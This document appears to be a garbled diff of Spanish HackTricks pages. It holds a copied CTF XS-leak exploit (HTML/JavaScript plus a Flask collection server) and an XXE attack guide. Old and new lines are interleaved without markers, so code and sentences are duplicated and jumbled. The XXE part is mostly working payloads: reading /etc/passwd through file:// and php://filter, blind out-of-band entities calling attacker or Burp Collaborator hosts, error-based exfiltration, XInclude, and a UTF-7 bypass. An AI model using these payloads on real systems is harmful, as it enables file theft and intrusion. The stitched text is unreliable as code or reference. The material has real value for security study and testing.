* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
Código copiado de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
Código de [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
```html
|
||||
<html>
|
||||
<body></body>
|
||||
<script>
|
||||
(async () => {
|
||||
(async () => {
|
||||
|
||||
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
|
||||
const curr = "http://secrets.wtl.pw/search?query=HackTM{"
|
||||
|
||||
const leak = async (char) => {
|
||||
|
||||
fetch("/?try=" + char)
|
||||
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
|
||||
|
||||
const check = async () => {
|
||||
try {
|
||||
w.origin
|
||||
} catch {
|
||||
fetch("/?nope=" + char)
|
||||
return
|
||||
}
|
||||
setTimeout(check, 100)
|
||||
}
|
||||
check()
|
||||
}
|
||||
const leak = async (char) => {
|
||||
|
||||
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
||||
fetch("/?try=" + char)
|
||||
let w = window.open(curr + char + "#" + "A".repeat(2 * 1024 * 1024 - curr.length - 2))
|
||||
|
||||
for (let i = 0; i < CHARSET.length; i++) {
|
||||
leak(CHARSET[i])
|
||||
await new Promise(resolve => setTimeout(resolve, 50))
|
||||
}
|
||||
})()
|
||||
const check = async () => {
|
||||
try {
|
||||
w.origin
|
||||
} catch {
|
||||
fetch("/?nope=" + char)
|
||||
return
|
||||
}
|
||||
setTimeout(check, 100)
|
||||
}
|
||||
check()
|
||||
}
|
||||
|
||||
const CHARSET = "abcdefghijklmnopqrstuvwxyz-_0123456789"
|
||||
|
||||
for (let i = 0; i < CHARSET.length; i++) {
|
||||
leak(CHARSET[i])
|
||||
await new Promise(resolve => setTimeout(resolve, 50))
|
||||
}
|
||||
})()
|
||||
</script>
|
||||
</html>
|
||||
```
|
||||
Servidor:
|
||||
Lado del servidor:
|
||||
```python
|
||||
from flask import Flask, request
|
||||
|
||||
|
@ -59,33 +59,33 @@ chars = []
|
|||
|
||||
@app.route('/', methods=['GET'])
|
||||
def index():
|
||||
global chars
|
||||
|
||||
nope = request.args.get('nope', '')
|
||||
if nope:
|
||||
chars.append(nope)
|
||||
global chars
|
||||
|
||||
remaining = [c for c in CHARSET if c not in chars]
|
||||
nope = request.args.get('nope', '')
|
||||
if nope:
|
||||
chars.append(nope)
|
||||
|
||||
print("Remaining: {}".format(remaining))
|
||||
remaining = [c for c in CHARSET if c not in chars]
|
||||
|
||||
return "OK"
|
||||
print("Remaining: {}".format(remaining))
|
||||
|
||||
return "OK"
|
||||
|
||||
@app.route('/exploit.html', methods=['GET'])
|
||||
def exploit():
|
||||
return open('exploit.html', 'r').read()
|
||||
return open('exploit.html', 'r').read()
|
||||
|
||||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver a tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** me en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -56,7 +56,7 @@ La declaración de una entidad externa utiliza la palabra clave `SYSTEM` y debe
|
|||
|
||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://normal-website.com" > ]>`
|
||||
|
||||
La URL puede usar el protocolo `file://`, por lo que las entidades externas pueden cargarse desde un archivo. Por ejemplo:
|
||||
La URL puede usar el protocolo `file://`, y así las entidades externas pueden cargarse desde un archivo. Por ejemplo:
|
||||
|
||||
`<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///path/to/file" > ]>`
|
||||
|
||||
|
@ -78,11 +78,11 @@ Esta carga útil XXE declara una entidad de parámetro XML llamada `xxe` y luego
|
|||
|
||||
## Ataques principales
|
||||
|
||||
[La mayoría de estos ataques fueron probados usando los increíbles laboratorios XEE de Portswiggers: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
[La mayoría de estos ataques fueron probados utilizando los increíbles laboratorios XEE de Portswiggers: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)
|
||||
|
||||
### Prueba de nueva entidad
|
||||
|
||||
En este ataque voy a probar si una simple nueva declaración de ENTITY está funcionando
|
||||
En este ataque voy a probar si una simple declaración de nueva ENTIDAD está funcionando
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE foo [<!ENTITY toreplace "3"> ]>
|
||||
|
@ -101,11 +101,9 @@ En este primer caso, observa que SYSTEM "_**file:///**etc/passwd_" también func
|
|||
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
|
||||
<data>&example;</data>
|
||||
```
|
||||
```markdown
|
||||
![](<../.gitbook/assets/image (221).png>)
|
||||
|
||||
Este segundo caso debería ser útil para extraer un archivo si el servidor web está utilizando PHP (No es el caso de los laboratorios de Portswigger)
|
||||
```
|
||||
```markup
|
||||
<!--?xml version="1.0" ?-->
|
||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||
|
@ -145,7 +143,7 @@ Un XXE podría ser utilizado para abusar de un SSRF dentro de una nube
|
|||
```
|
||||
### SSRF ciego
|
||||
|
||||
Usando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para demostrar que es vulnerable. Pero, si eso no funciona, quizás sea porque **no se permiten entidades XML**, en ese caso podrías intentar usar **entidades de parámetro XML**:
|
||||
Utilizando la **técnica comentada anteriormente** puedes hacer que el servidor acceda a un servidor que controlas para demostrar que es vulnerable. Pero, si eso no funciona, quizás sea porque **no se permiten entidades XML**, en ese caso podrías intentar usar **entidades de parámetro XML**:
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||
|
@ -210,7 +208,7 @@ _**Por favor, ten en cuenta que el DTD externo nos permite incluir una entidad d
|
|||
|
||||
### **Error Basado (DTD del sistema)**
|
||||
|
||||
Entonces, ¿qué pasa con las vulnerabilidades XXE ciegas cuando **las interacciones fuera de banda están bloqueadas** (las conexiones externas no están disponibles)? [Información de aquí](https://portswigger.net/web-security/xxe/blind).
|
||||
Entonces, ¿qué pasa con las vulnerabilidades XXE ciegas cuando **las interacciones fuera de banda están bloqueadas** (no están disponibles las conexiones externas)?. [Información de aquí](https://portswigger.net/web-security/xxe/blind).
|
||||
|
||||
En esta situación, aún podría ser posible **provocar mensajes de error que contengan datos sensibles**, debido a una laguna en la especificación del lenguaje XML. Si el **DTD de un documento utiliza una combinación de declaraciones DTD internas y externas**, entonces el **DTD interno puede redefinir entidades que están declaradas en el DTD externo**. Cuando esto sucede, se relaja la restricción sobre el uso de una entidad de parámetro XML dentro de la definición de otra entidad de parámetro.
|
||||
|
||||
|
@ -231,8 +229,8 @@ Por ejemplo, supongamos que hay un archivo DTD en el sistema de archivos del ser
|
|||
```
|
||||
Este DTD realiza los siguientes pasos:
|
||||
|
||||
* Define una entidad de parámetro XML llamada `local_dtd`, que contiene el contenido del archivo DTD externo que existe en el sistema de archivos del servidor.
|
||||
* Redefine la entidad de parámetro XML llamada `custom_entity`, que ya está definida en el archivo DTD externo. La entidad se redefine como que contiene el [exploit XXE basado en errores](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) que ya se describió, para desencadenar un mensaje de error que contiene el contenido del archivo `/etc/passwd`.
|
||||
* Define una entidad de parámetro XML llamada `local_dtd`, que contiene los contenidos del archivo DTD externo que existe en el sistema de archivos del servidor.
|
||||
* Redefine la entidad de parámetro XML llamada `custom_entity`, que ya está definida en el archivo DTD externo. La entidad se redefine como que contiene el [exploit XXE basado en errores](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) que ya se describió, para desencadenar un mensaje de error que contiene los contenidos del archivo `/etc/passwd`.
|
||||
* Utiliza la entidad `local_dtd`, de modo que el DTD externo se interpreta, incluyendo el valor redefinido de la entidad `custom_entity`. Esto resulta en el mensaje de error deseado.
|
||||
|
||||
**Ejemplo del mundo real:** Los sistemas que utilizan el entorno de escritorio GNOME a menudo tienen un DTD en `/usr/share/yelp/dtd/docbookx.dtd` que contiene una entidad llamada `ISOamso`.
|
||||
|
@ -252,7 +250,7 @@ Este DTD realiza los siguientes pasos:
|
|||
```
|
||||
![](<../.gitbook/assets/image (224).png>)
|
||||
|
||||
Dado que esta técnica utiliza un **DTD interno, primero necesitas encontrar uno válido**. Puedes hacer esto **instalando** el mismo **OS / Software** que utiliza el servidor y **buscando algunos DTDs predeterminados**, o **obteniendo una lista** de **DTDs predeterminados** dentro de sistemas y **verificar** si alguno de ellos existe:
|
||||
Como esta técnica utiliza un **DTD interno, primero necesitas encontrar uno válido**. Puedes hacer esto **instalando** el mismo **OS / Software** que utiliza el servidor y **buscando algunos DTDs predeterminados**, o **obteniendo una lista** de **DTDs predeterminados** dentro de los sistemas y **verificar** si alguno de ellos existe:
|
||||
```markup
|
||||
<!DOCTYPE foo [
|
||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||
|
@ -279,40 +277,20 @@ Testing 0 entities : []
|
|||
```
|
||||
### XXE a través de analizadores Office Open XML
|
||||
|
||||
(Copiado de [**aquí**](https://labs.detectify.com/2021/09/30/10-types-web-vulnerabilities-often-missed/))\
|
||||
Muchas aplicaciones web permiten subir documentos de Microsoft Office y luego extraen algunos detalles de ellos. Por ejemplo, podrías tener una aplicación web que te permite importar datos subiendo una hoja de cálculo en formato XLSX. En algún momento, para que el analizador extraiga los datos de la hoja de cálculo, necesitará **analizar al menos un archivo XML**.
|
||||
Para una explicación más detallada de este ataque, **consulta la segunda sección de [este increíble post](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) de Detectify**.
|
||||
|
||||
La única manera de probar esto es generar un **archivo de Microsoft Office que contenga una carga útil XXE**, así que hagámoslo. Primero, crea un directorio vacío para descomprimir tu documento, ¡y descomprímelo!
|
||||
```
|
||||
test$ ls
|
||||
test.docx
|
||||
test$ mkdir unzipped
|
||||
test$ unzip ./test.docx -d ./unzipped/
|
||||
Archive: ./test.docx
|
||||
inflating: ./unzipped/word/numbering.xml
|
||||
inflating: ./unzipped/word/settings.xml
|
||||
inflating: ./unzipped/word/fontTable.xml
|
||||
inflating: ./unzipped/word/styles.xml
|
||||
inflating: ./unzipped/word/document.xml
|
||||
inflating: ./unzipped/word/_rels/document.xml.rels
|
||||
inflating: ./unzipped/_rels/.rels
|
||||
inflating: ./unzipped/word/theme/theme1.xml
|
||||
inflating: ./unzipped/[Content_Types].xml
|
||||
```
|
||||
Abre `./unzipped/word/document.xml` en tu editor de texto favorito (vim) y edita el **XML para que contenga tu payload XXE favorito**. Lo primero que suelo intentar es una solicitud HTTP, así:
|
||||
```
|
||||
<!DOCTYPE x [ <!ENTITY test SYSTEM "http://[ID].burpcollaborator.net/"> ]>
|
||||
<x>&test;</x>
|
||||
```
|
||||
Esas líneas deben insertarse entre los dos objetos XML raíz, así, y por supuesto necesitarás reemplazar la URL con una URL que puedas monitorear para las solicitudes:
|
||||
La capacidad de **subir documentos de Microsoft Office es ofrecida por muchas aplicaciones web**, las cuales proceden a extraer ciertos detalles de estos documentos. Por ejemplo, una aplicación web puede permitir a los usuarios importar datos subiendo una hoja de cálculo en formato XLSX. Para que el analizador extraiga los datos de la hoja de cálculo, inevitablemente necesitará analizar al menos un archivo XML.
|
||||
|
||||
![Esas líneas deben insertarse entre los dos objetos XML raíz, así](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-obscure.png)
|
||||
Para probar esta vulnerabilidad, es necesario crear un **archivo de Microsoft Office que contenga una carga útil XXE**. El primer paso es crear un directorio vacío al cual se pueda descomprimir el documento.
|
||||
|
||||
Lo único que queda es **comprimir el archivo para crear tu malicioso archivo poc.docx**. Desde el directorio "descomprimido" que creamos anteriormente, ejecuta lo siguiente:
|
||||
Una vez descomprimido el documento, se debe abrir y editar el archivo XML ubicado en `./unzipped/word/document.xml` con un editor de texto preferido (como vim). El XML debe ser modificado para incluir la carga útil XXE deseada, a menudo comenzando con una solicitud HTTP.
|
||||
|
||||
![Desde el directorio "descomprimido" que creamos anteriormente, ejecuta lo siguiente:](https://labs.detectify.com/wp-content/uploads/2021/09/xxe-unzipped.png)
|
||||
Las líneas XML modificadas deben insertarse entre los dos objetos raíz XML. Es importante reemplazar la URL con una URL monitoreable para las solicitudes.
|
||||
|
||||
Finalmente, el archivo puede ser comprimido para crear el archivo malicioso poc.docx. Desde el directorio "unzipped" previamente creado, se debe ejecutar el siguiente comando:
|
||||
|
||||
Ahora, el archivo creado puede ser subido a la aplicación web potencialmente vulnerable, y se puede esperar que aparezca una solicitud en los registros de Burp Collaborator.
|
||||
|
||||
Ahora sube el archivo a tu aplicación web (con suerte) vulnerable y reza a los dioses del hacking por una solicitud en tus registros de Burp Collaborator.
|
||||
|
||||
### Protocolo Jar:
|
||||
|
||||
|
@ -398,7 +376,7 @@ Entonces puedes intentar descifrar el hash usando hashcat
|
|||
|
||||
Algunas aplicaciones **reciben datos enviados por el cliente, los incrustan en el servidor en un documento XML y luego analizan el documento**. Un ejemplo de esto ocurre cuando los datos enviados por el cliente se colocan en una **solicitud SOAP de backend**, que luego es procesada por el servicio SOAP de backend.
|
||||
|
||||
En esta situación, no puedes llevar a cabo un ataque XXE clásico, porque **no controlas todo el documento XML** y por lo tanto no puedes definir o modificar un elemento `DOCTYPE`. Sin embargo, podrías ser capaz de usar `XInclude` en su lugar. `XInclude` es parte de la especificación XML que permite que un documento XML se construya a partir de subdocumentos. Puedes colocar un ataque `XInclude` dentro de cualquier valor de datos en un documento XML, por lo que el ataque se puede realizar en situaciones donde solo controlas un único elemento de datos que se coloca en un documento XML del lado del servidor.
|
||||
En esta situación, no puedes llevar a cabo un ataque XXE clásico, porque **no controlas todo el documento XML** y por lo tanto no puedes definir o modificar un elemento `DOCTYPE`. Sin embargo, podrías ser capaz de usar `XInclude` en su lugar. `XInclude` es parte de la especificación XML que permite que un documento XML se construya a partir de subdocumentos. Puedes colocar un ataque `XInclude` dentro de cualquier valor de datos en un documento XML, por lo que el ataque se puede realizar en situaciones donde solo controlas un solo elemento de datos que se coloca en un documento XML del lado del servidor.
|
||||
|
||||
Para realizar un ataque `XInclude`, necesitas hacer referencia al espacio de nombres `XInclude` y proporcionar la ruta al archivo que deseas incluir. Por ejemplo:
|
||||
```markup
|
||||
|
@ -424,7 +402,7 @@ También podrías intentar **ejecutar comandos** utilizando el "wrapper" de PHP
|
|||
|
||||
### **PDF - Carga de archivo**
|
||||
|
||||
Lee el siguiente post para **aprender a explotar un XXE cargando un archivo PDF**:
|
||||
Lee el siguiente post para **aprender cómo explotar un XXE cargando un archivo PDF**:
|
||||
|
||||
{% content-ref url="file-upload/pdf-upload-xxe-and-cors-bypass.md" %}
|
||||
[pdf-upload-xxe-and-cors-bypass.md](file-upload/pdf-upload-xxe-and-cors-bypass.md)
|
||||
|
@ -432,7 +410,7 @@ Lee el siguiente post para **aprender a explotar un XXE cargando un archivo PDF*
|
|||
|
||||
### Content-Type: De x-www-urlencoded a XML
|
||||
|
||||
Si una solicitud POST acepta datos en formato XML, podrías intentar explotar un XXE en esa solicitud. Por ejemplo, si una solicitud normal contiene lo siguiente:
|
||||
Si una solicitud POST acepta los datos en formato XML, podrías intentar explotar un XXE en esa solicitud. Por ejemplo, si una solicitud normal contiene lo siguiente:
|
||||
```markup
|
||||
POST /action HTTP/1.0
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
@ -486,11 +464,11 @@ Otro ejemplo se puede encontrar [aquí](https://medium.com/hmif-itb/googlectf-20
|
|||
```markup
|
||||
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>
|
||||
```
|
||||
Este solo funciona si el servidor XML acepta el protocolo `data://`.
|
||||
Esto solo funciona si el servidor XML acepta el protocolo `data://`.
|
||||
|
||||
### UTF-7
|
||||
|
||||
Puedes usar la \[**"Encode Recipe"** de CyberChef aquí]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
|
||||
Puedes usar la \[**"Receta de Codificación**" de CyberChef aquí]\(\[[https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7) %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4)to]\([https://gchq.github.io/CyberChef/#recipe=Encode\_text%28'UTF-7 %2865000%29'%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to](https://gchq.github.io/CyberChef/#recipe=Encode\_text%28%27UTF-7%20%2865000%29%27%29\&input=PCFET0NUWVBFIGZvbyBbPCFFTlRJVFkgZXhhbXBsZSBTWVNURU0gIi9ldGMvcGFzc3dkIj4gXT4KPHN0b2NrQ2hlY2s%2BPHByb2R1Y3RJZD4mZXhhbXBsZTs8L3Byb2R1Y3RJZD48c3RvcmVJZD4xPC9zdG9yZUlkPjwvc3RvY2tDaGVjaz4%29to)) para transformar a UTF-7.
|
||||
```markup
|
||||
<!xml version="1.0" encoding="UTF-7"?-->
|
||||
+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
|
||||
|
@ -502,11 +480,11 @@ Puedes usar la \[**"Encode Recipe"** de CyberChef aquí]\(\[[https://gchq.github
|
|||
+ADwAIQ-ENTITY xxe SYSTEM +ACI-http://hack-r.be:1337+ACI +AD4AXQA+
|
||||
+ADw-foo+AD4AJg-xxe+ADsAPA-/foo+AD4
|
||||
```
|
||||
### Omisión del Protocolo file:/
|
||||
### Bypass del Protocolo file:/
|
||||
|
||||
Si la web utiliza PHP, en lugar de usar `file:/` puedes utilizar **php wrappers** `php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
|
||||
Si la web utiliza PHP, en lugar de usar `file:/` puedes usar **php wrappers** `php://filter/convert.base64-encode/resource=` para **acceder a archivos internos**.
|
||||
|
||||
Si la web utiliza Java, puedes revisar el [**protocolo jar:**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
Si la web utiliza Java puedes revisar el [**protocolo jar:**](xxe-xee-xml-external-entity.md#jar-protocol).
|
||||
|
||||
### Entidades HTML
|
||||
|
||||
|
@ -559,7 +537,7 @@ Ejemplo de DTD:
|
|||
Esta sección fue tomada de [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\
|
||||
Según la [Wikipedia](https://en.wikipedia.org/wiki/XLIFF):
|
||||
|
||||
> XLIFF (XML Localization Interchange File Format) es un formato de bitexto basado en XML creado para estandarizar la forma en que los datos localizables se pasan entre herramientas y durante un proceso de localización y un formato común para el intercambio de herramientas CAT.
|
||||
> XLIFF (Formato de Archivo de Intercambio de Localización XML) es un formato de bitexto basado en XML creado para estandarizar la manera en que los datos localizables se pasan entre herramientas y durante un proceso de localización, y un formato común para el intercambio de herramientas CAT.
|
||||
|
||||
### Solicitud ciega
|
||||
```markup
|
||||
|
@ -591,9 +569,7 @@ Content-Type: application/x-xliff+xml
|
|||
<xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
|
||||
------WebKitFormBoundaryqBdAsEtYaBjTArl3--
|
||||
```
|
||||
Basado en el User Agent mostrado por burp collaborator, parece que está utilizando **Java 1.8**. Uno de los problemas al explotar XXE en esta versión de Java es que **no podemos obtener archivos que contienen un `New Line`** como `/etc/passwd` utilizando la técnica Out of Band.
|
||||
|
||||
### Exfiltración de Datos vía Error Based
|
||||
### Exfiltración de Datos vía Error Basado
|
||||
|
||||
Archivo DTD:
|
||||
```markup
|
||||
|
@ -606,7 +582,7 @@ Respuesta del Servidor:
|
|||
```javascript
|
||||
{"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"}
|
||||
```
|
||||
¡Genial! El archivo `non-exist` se refleja en los mensajes de error. Lo siguiente es añadir el contenido del archivo.
|
||||
¡Genial! El archivo `non-exist` se refleja en los mensajes de error. Lo siguiente es agregar el contenido del archivo.
|
||||
|
||||
Archivo DTD:
|
||||
```markup
|
||||
|
@ -667,7 +643,7 @@ Solicitud HTTP simple al servidor del atacante
|
|||
```
|
||||
### Leer código fuente
|
||||
|
||||
Usando el filtro base64 de PHP
|
||||
Usando filtro base64 de PHP
|
||||
```markup
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE title [ <!ELEMENT title ANY >
|
||||
|
@ -773,10 +749,10 @@ Extraer información vía HTTP usando DTD externo propio: [https://ysx.me.uk/fro
|
|||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
